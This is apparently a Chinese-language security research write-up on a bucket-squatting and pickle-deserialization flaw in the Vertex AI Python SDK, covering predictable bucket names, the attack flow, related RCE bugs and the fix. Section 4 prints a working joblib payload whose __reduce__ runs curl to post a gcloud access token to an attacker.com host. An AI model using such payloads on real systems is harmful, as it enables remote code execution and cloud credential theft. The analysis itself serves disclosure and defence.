你的 Vertex AI 模型正在被 Pickle in the Middle 攻擊?
摘要
這項研究調查了在 Google Cloud Vertex AI Python 軟體開發套件 (Software Development Kit, SDK) 中發現的一個重大安全漏洞。該缺陷被歸類為「Bucket Squatting」漏洞,允許外部攻擊者在沒有初始存取受害者環境的情況下劫持模型上傳程序。透過利用 Google Cloud Storage (GCS) 暫存邏輯中的確定性命名慣例(Deterministic naming convention)和所有權驗證(Ownership verification)的缺失,攻擊者可以用惡意 payload 投毒機器學習模型(Poison machine learning model)。報告分析了該漏洞的技術機制、
pickle
反序列化在實現遠端程式碼執行 (RCE) 中所扮演的角色,以及雲端原生基礎設施中 API 邏輯缺陷的更廣泛影響。
1. 簡介
Vertex AI 是一個專為訓練和部署 ML 模型而設計的綜合機器學習平台。Python SDK (
google-cloud-aiplatform
) 是開發者與此平台互動的主要介面。在 1.139.0 和 1.140.0 版本中發現了一個重大漏洞,即 SDK 對於暫存模型 artifact 的預設行為可能被第三方操縱
[1]
。
核心問題在於 GCS Bucket 名稱的全域命名空間(Global namespace)。由於 Bucket 名稱在整個 Google Cloud 生態系統中必須是唯一的,因此能夠預測 Bucket 名稱的攻擊者可以透過在自己的專案中建立該名稱來「Squatting」它。這項研究展示了這種架構特性,加上 SDK 層級檢查不足,如何導致跨租戶的 RCE。
2. 技術漏洞分析
2.1 確定性 Bucket 命名
當使用者透過 Vertex AI SDK 發起模型上傳,但未指定 Custom staging bucket 時,SDK 會自動產生一個 Bucket 名稱。產生邏輯遵循一個可預測的模式:
{project_id}-vertex-staging-{region}
。這種確定性方法允許知道受害者專案 ID 和目標區域的攻擊者搶先佔用該 Bucket 名稱。
2.2 缺少所有權驗證
SDK 未能驗證現有 Bucket 的所有權,這加劇了漏洞。在
gcs_utils.py
模組中,
stage_local_data_in_gcs()
函式檢查暫存 Bucket 是否存在,但未確保該 Bucket 屬於使用者的專案。
- # Analysis of the vulnerable logic in gcs_utils.py
- staging_bucket_name = project + "-vertex-staging-" + location # Deterministic predictable name
- client = storage.Client(project=project, credentials=credentials)
- staging_bucket = storage.Bucket(client=client, name=staging_bucket_name)
- if not staging_bucket.exists(): # Only checks existence, NOT ownership
- # If the bucket doesn't exist, it attempts to create it
- staging_bucket = client.create_bucket(staging_bucket_name)
- # If the bucket already exists (even in an attacker's project),
- # the SDK proceeds to use it as the staging directory.
- staging_gcs_dir = "gs://" + staging_bucket_name
3. 攻擊流程與利用
被稱為「Pickle in the Middle」的攻擊過程涉及一系列同步的事件。攻擊者必須在 Vertex AI 服務代理處理合法模型 artifact 之前,近乎即時地將其替換為惡意 payload。
如上序列圖所示,該漏洞允許攻擊者攔截受害者 SDK 與 Vertex AI 後端之間的資料流。替換的時間視窗非常短——大約 2.5 秒——因此需要透過 Cloud Functions 進行自動化 [1] 。
4. 惡意 Payload 與 RCE 機制
「Pickle in the Middle」攻擊利用了 Python 的
pickle
和
joblib
模組的固有風險。這些模組廣泛用於 ML 生態系統中的物件序列化,但在反序列化期間缺乏安全邊界。
攻擊者可以透過在 Python 類別中定義
__reduce__
方法來製作惡意的
joblib
檔案。當 Vertex AI 服務基礎設施呼叫
joblib.load()
時,
__reduce__
中的程式碼會立即執行。
- # Example of a malicious payload structure
- # based on the pickle deserialization vector
- import joblib
- import os
- class MaliciousPayload:
- def __reduce__(self):
- # This command will be executed upon deserialization
- # It could be used to exfiltrate service account tokens
- cmd = "curl -X POST -d $(gcloud auth print-access-token) http://attacker.com/exfil"
- return (os.system, (cmd,))
- # Serialize the malicious object into a model file
- # Replacing the victim's legitimate model with this file triggers RCE
- joblib.dump(MaliciousPayload(), "model.joblib")
5. API 邏輯缺陷的比較分析
Vertex AI 漏洞與其他近期發現的 RCE 具有共同特徵。例如,關於
UniFi OS API 邏輯缺陷
[2]
的研究強調了內部 API 端點在暴露或閘道防護不當的情況下,如何導致命令注入。在這兩個案例中,未能清理輸入(Vertex AI 中的 Bucket 名稱和 UniFi OS 中的
outputDir
)都為外部影響內部系統命令建立了橋樑。
此外, 模型上下文協定 (MCP) RCE 漏洞 [3] 表明,即使是 LLM 使用的高階協定,如果底層執行環境(如 Windows PowerShell)將特製字串解釋為命令,也容易受到基於 URI 的注入攻擊。這些事件突顯了現代網路安全中一個反覆出現的主題:受管服務與使用者控制輸入之間的信任邊界崩潰。
表 1:近期 RCE 漏洞比較
| 漏洞 | 根本原因 | 攻擊向量 | 影響 |
|---|---|---|---|
| Vertex AI SDK | 可預測命名與缺少所有權檢查 | Bucket Squatting / Pickle 反序列化 | 跨租戶 RCE |
| UniFi OS (CVE-2025-52665) | Shell 命令中未清理的參數 | API 邏輯缺陷 / 命令注入 | 未驗證的 RCE |
| MCP (CVE-2025-6514) | 缺乏 URI 架構驗證 | PowerShell 子表達式注入 | 遠端程式碼執行 |
6. 緩解與修復
Google 已在 SDK 1.148.0 版本中解決了 Vertex AI 漏洞。修復涉及兩個主要變更:
- 隨機化: 在預設 Bucket 名稱中加入 UUID4 後綴,以防止可預測性。
- 驗證: 實施嚴格的擁有權檢查,以確保暫存 Bucket 屬於與認證相關的專案 ID [1] 。
建議組織立即升級其
google-cloud-aiplatform
套件,並考慮使用客戶管理的加密金鑰 (Customer-Managed Encryption Key, CMEK) 和 VPC Service Controls 來進一步隔離其 ML 管道。
7. 結論
「Pickle in the Middle」漏洞鮮明地提醒了我們與雲端原生供應鏈相關的風險。透過利用雲端資源的全域唯一性和 Python 序列化協定的固有危險,攻擊者可以用最少的努力實現顯著的影響。這項研究強調了開發者必須將所有來自雲端的輸入視為不受信任的,並在資料生命週期的每個階段實施健全的所有權和完整性檢查。